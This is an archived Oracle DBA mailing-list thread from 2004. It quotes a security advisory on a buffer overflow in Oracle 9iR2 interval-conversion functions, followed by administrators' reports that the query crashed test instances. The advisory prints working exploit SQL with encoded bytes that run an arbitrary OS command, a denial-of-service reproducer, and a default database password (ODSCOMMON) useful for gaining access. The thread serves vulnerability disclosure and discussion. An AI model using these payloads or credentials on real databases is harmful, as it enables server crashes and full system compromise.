Mohammed,
Your email inspired my to try it on local database.
After starting up a 9.2 database on my laptop, I ran the query.
It did indeed create the file.
The sqlplus session appears to be hung.
The instance is still up though, as I can login from another CMD window.
Next I tried running the query on a remote 9.2.0,3 instance on a Win2k
server.
It's running SAP, but as it is our test server it is generally safe crash
it without
repercussions.
Which is exactly what happened. The query crashed the instance, killed
the service.
Agreed, it is a dangerous bug.
Jared
mkb <mkb125_at_yahoo.com>
Sent by: oracle-l-bounce_at_freelists.org
02/26/2004 12:33 PM
Please respond to oracle-l
To: oracle-l_at_freelists.org
cc:
Subject: Re: [NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow
Hmmmm.....
Oracle 9.2.0.3 on Win2K, shutdown the instance and the
Oracle service.
Pretty serious bug to me.
mohammed
- Jared.Still_at_radisys.com wrote:
> Has anyone here heard of this?
>
> First I've seen it. Could not get the exploit to
> work on 8i or 9i,
> haven't tried 10g.
>
> It does however cause an ORA-3113.
>
> Jared
>
> =================================
>
> The following security advisory is sent to the
> securiteam mailing list,
> and can be found at the SecuriTeam web site:
> http://www.securiteam.com
> - - promotion
>
> The SecuriTeam alerts list - Free, Accurate,
> Independent.
>
> Get your security news from a reliable source.
> http://www.securiteam.com/mailinglist.html
>
>
> - - - - - - - - -
> Oracle Database 9ir2 Interval Conversion Buffer
> Overflow
> Oracle Database Server is one of the most used
> database servers in the
> world, it was marketed as being unbreakable and many
> people thinks that is
> one of the most secure database server in the
> market.
>
> Oracle Database Server provides two functions that
> can be used with PL/SQL
> to convert numbers to date/time intervals, these
> functions have buffer
> overflow vulnerabilities.
> Vulnerable Systems:
> * Oracle Database version 9ir2 and prior
>
> When any of these conversion functions are called
> with a long string as a
> second parameter a buffer overflow occurs.
>
> To reproduce the overflow execute the next PL/SQL:
> SELECT NUMTOYMINTERVAL(1,'longstringhere') from
> dual;
> SELECT NUMTODSINTERVAL(1,'longstringhere') from
> dual;
>
> Any Oracle Database user can exploit this
> vulnerability because access to
> these functions can't be restricted. Exploitation of
> this vulnerability
> allow an attacker to execute arbitrary code, also it
> can be exploited to
> cause DOS (Denial of service) killing Oracle server
> process. An attacker
> can complete compromise the OS and database if
> Oracle is running on
> Windows platform, because Oracle must run under the
> local System account
> or under an administrative account. If Oracle is
> running on *nix then only
> the database could be compromised because Oracle
> runs mostly under oracle
> user which has restricted permissions.
>
> Important: Exploitation of these vulnerabilities
> becomes easy if Oracle Internet
> Directory has been deployed, because Oracle Internet
> Directory creates a
> database user called ODSCOMMON that has a default
> password ODSCOMMON, this
> password can not be changed, so any attacker can use
> this user to connect
> to database and exploit these vulnerabilities.
>
> Full tests on Oracle database 9ir2 under Microsoft
> Windows 2000 Server and
> Linux confirm these vulnerabilities. Versions
> running in other OS
> platforms are believed to be affected too. Previous
> Oracle Database Server
> versions could be affected by these vulnerabilities.
>
>
> Exploits:
> -- These exploits should work on Windows 2000 Server
> and Windows XP, not
> tested on Windows 2003.
> -- Run any command at the end of the string
> SELECT
>
NUMTOYMINTERVAL(1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR'
> ||
> chr(59) || chr(79) || chr(150) || chr(01) ||
> chr(141) || chr(68) ||
> chr(36) || chr(18) || chr(80) || chr(255) || chr(21)
> || chr(52) || chr(35)
> || chr(148) || chr(01) || chr(255) || chr(37) ||
> chr(172) || chr(33) ||
> chr(148) || chr(01) || chr(32)||'echo ARE YOU SURE?
> >c:\Unbreakable.txt')
> ?FROM DUAL;
>
> SELECT
>
NUMTODSINTERVAL(1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR'
> ||
> chr(59) || chr(79) || chr(150) || chr(01) ||
> chr(141) || chr(68) ||
> chr(36) || chr(18) || chr(80) || chr(255) || chr(21)
> || chr(52) || chr(35)
> || chr(148) || chr(01) || chr(255) || chr(37) ||
> chr(172) || chr(33) ||
> chr(148) || chr(01) || chr(32) || 'echo ARE YOU
> SURE?
> >c:\Unbreakable.txt') ?
>
> FROM DUAL;
>
> Vendor Fix:
> Go to Oracle Metalink site,
> http://metalink.oracle.com.
>
> Vendor Contact:
> Oracle was contacted and they released a fix without
> telling the public
> nor Ceaser anything and without issuing an alert.
> Additional Information:
> The information has been provided by Cesar.
>
>
>
>
>
>
>
> This bulletin is sent to members of the SecuriTeam
> mailing list.
> To unsubscribe from the list, send mail with an
> empty subject line and
> body to: html-list-unsubscribe_at_securiteam.com
> In order to subscribe to the mailing list and
> receive advisories in HTML
> format, simply forward this email to:
> html-list-subscribe_at_securiteam.com
>
>
>
>
>
>
>
> DISCLAIMER:
> The information in this bulletin is provided "AS IS"
> without warranty of
> any kind.
> In no event shall we be liable for any damages
> whatsoever including
> direct, indirect, incidental, consequential, loss of
> business profits or
> special damages.
>
>
>
>
>
>
Do you Yahoo!?
Get better spam protection with Yahoo! Mail.
http://antispam.yahoo.com/tools
Please see the official ORACLE-L FAQ:
http://www.orafaq.com
To unsubscribe send email to: oracle-l-request_at_freelists.org
put 'unsubscribe' in the subject line.
--
Archives are at http://www.freelists.org/archives/oracle-l/
FAQ is at http://www.freelists.org/help/fom-serve/cache/1.html
-----------------------------------------------------------------
----------------------------------------------------------------
Please see the official ORACLE-L FAQ: http://www.orafaq.com
----------------------------------------------------------------
To unsubscribe send email to: oracle-l-request_at_freelists.org
put 'unsubscribe' in the subject line.
--
Archives are at http://www.freelists.org/archives/oracle-l/
FAQ is at http://www.freelists.org/help/fom-serve/cache/1.html
-----------------------------------------------------------------
Received on Thu Feb 26 2004 - 15:24:55 CST
